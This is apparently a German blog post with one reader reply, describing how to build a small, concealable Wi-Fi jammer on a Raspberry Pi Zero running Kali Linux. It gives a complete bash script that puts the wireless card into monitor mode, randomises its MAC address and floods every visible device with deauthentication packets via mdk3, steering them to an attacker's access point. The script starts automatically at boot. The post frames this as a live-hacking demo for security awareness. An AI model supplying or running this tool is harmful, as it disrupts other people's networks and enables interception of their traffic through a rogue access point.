Bau eines einfachen WLAN-Jammers

Da ich seit kurzem Besitzer eines Raspberry Pi Zeros bin, habe ich mir überlegt, wie man diesen für Security-Awareness-Veranstaltungen verwenden kann und habe mich dazu entschieden, einen sehr einfachen WLAN-Jammer zu bauen.

Dieser WLAN-Jammer soll im Rahmen eines Live-Hackings konstant Deauthentication-Pakete an alle sichtbaren Geräte verschicken, um diese dazu zu bewegen, den parallel aufgesetzten Angreifer-Access-Point zu verwenden.

Ich habe hierfür ein Kali Linux auf die SD-Karte installiert und die folgenden Modifiktationen vorgenommen:

  1. Erstellen einer Whitelist-Datei, welche zeilenweise MAC-Adressen derjenigen Geräte enthält, die nicht angegriffen werden sollen:
    vi /root/whitelist.macs
    
  2. Abschalten der grafischen Oberfläche:
    systemctl disable lightdm
    
  3. Installieren einiger zusätzlicher Software:
    apt-get install aircrack-ng mdk3 macchanger screen rfkill
    
  4. Erstellen des einfachen Skripts unter „/root/wifi_jammer.sh“, welches das Jamming durchführt:
    #!/bin/bash
    
    WHITELIST="/root/whitelist.macs"
    
    INTERFACE=`iwconfig 2>&1 | grep -o "^wlan[0-9]\+"`
    if [[ "X${INTERFACE}X" == "XX" ]]; then
            exit 1
    fi
    
    # Start in monitor mode
    airmon-ng start ${INTERFACE}
    
    MONINTERFACE="${INTERFACE}mon"
    
    # Change MAC address
    ifconfig ${MONINTERFACE} down
    macchanger -r ${MONINTERFACE}
    ifconfig ${MONINTERFACE} up
    
    # Jamming:
    screen -S airodump -d -m airodump-ng -f 2000 ${MONINTERFACE}
    mdk3 ${MONINTERFACE} d -w ${WHITELIST}
    
  5. Nun nur noch das Executable-Flag setzen:
    chmod +x /root/wifi_jammer.sh
    
  6. Und die Ausführung des Skripts in „/etc/rc.local“ vor „exit 0“ zum Systemstart eintragen:
    screen -S wifi_jammer -d -m /root/wifi_jammer.sh
    

Und schon hat man einen sehr einfachen WLAN-Jammer, der obendrein auch noch extrem klein ist und sich gut verstecken lässt.
wifi_jammer_small

2 Antworten auf „Bau eines einfachen WLAN-Jammers“

    1. Hallo,
      nein. Es gibt keinen bestimmten Grund für die Verwendung von Kali Linux. Prinzipiell könntest du auch jedes andere Linux, was auf einem Pi Zero läuft, dafür verwenden.
      Ich nutze Kali, weil die komplette benötigte Software bereits im offiziellen Repository enthalten ist.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.